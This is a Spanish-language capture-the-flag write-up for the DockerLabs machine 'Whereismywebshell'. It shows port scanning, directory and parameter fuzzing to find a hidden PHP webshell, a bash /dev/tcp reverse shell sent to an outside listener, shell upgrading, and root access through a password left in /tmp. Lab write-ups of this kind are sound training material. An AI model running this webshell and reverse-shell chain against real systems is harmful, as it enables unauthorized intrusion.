Post

Whereismywebshell , DockerLabs

logodocker

En este reto de DockerLabs encontramos con escaneo de puertos para buscar una entrada al sistema , fuzzing de directorios y de parametros y por ultimo escalada.

Herramientas y recursos usados

  • nmap
  • wfuzz

Enumeracion

Empezamos lanzando un nmap contra el objetivo .

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -vvv 172.17.0.2 -oX whereis

Reporte nmap

Revisamos la web a ver que encontramos es una web de una academia mientras le miramos el codigo lanzamos gobuster.

funeteweb

Vamos directos a gobuster

1
gobuster -q dir -w /usr/share/dirbuster/directory-list-2.3-medium.txt -x html,htm,php,txt,xml -u http://172.17.0.2/cmsms --exclude-length 3690

gobuster

La salida nos arroja varios archivos prometedores ,el warning y lo que be ser una webshell. Primero miro el warning por si nos dijera algo , no arroja luz de ningun tipo asi que caragmos shell php y vemos una pagina en blanco, en este punto vamos a fuzzear la palabra que nos falta para poder ejecutar comandos remotos. Asi que vamos a fuzzear con wffuz.

1
wfuzz -c --hl=0 -t 200 -w /usr/share/dict/wordlist-probable.txt -u "http://172.17.0.2/shell.php?FUZZ=id"

fuzzingparametro

Una vez obtenido el parametro pasamos a probar si podemos ejecutar comandos.

shell

Resultado positivo , mandemos una rev shell. Ejecutamos lo siguiente pero primero nectact a la escucha.

1
2
sudo nc -lvnp 443

En la webshell

1
bash -c "bash -i >& /dev/tcp/192.168.0.112/443 0>&1"

Recepcion

nc

Escalada

Lo primero una vez reciba la revshell le aplicamos tratamiento.

1
script /dev/null -c bash

La mandamos al background con control-Z.

1
2
export TERM=xterm
export SHELL=bash

Si queremos ajustarla al maximo debemos indicarle el numero de lineas y columnas de nuestra terminal .

Para ver el numero de line y columms de nuestra term ejecutamos respectivamente

1
echo $LINES y echo $COLUMMS

Ya configurada empezamos a mirar con sudo -l y find. Ninguno nos devuelve nada y ahi recorde que hemos de acostumbrarnos a mirar hacia atras y recordar todo lo que mos hemos ido encontando en la maquina. La memoria me decia que guardaba un secreto en /tmp/ , asi que vamos a mirar que nos dejaron.

1
2
cd /tmp/
ls -la

secret

La puso facil esta vez.

1
su 

root

Saludos y muchas gracias por leer, pueden comentar dudas o si la han resuleto de otra forma debatamos cual metodo es mas eficaz.

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.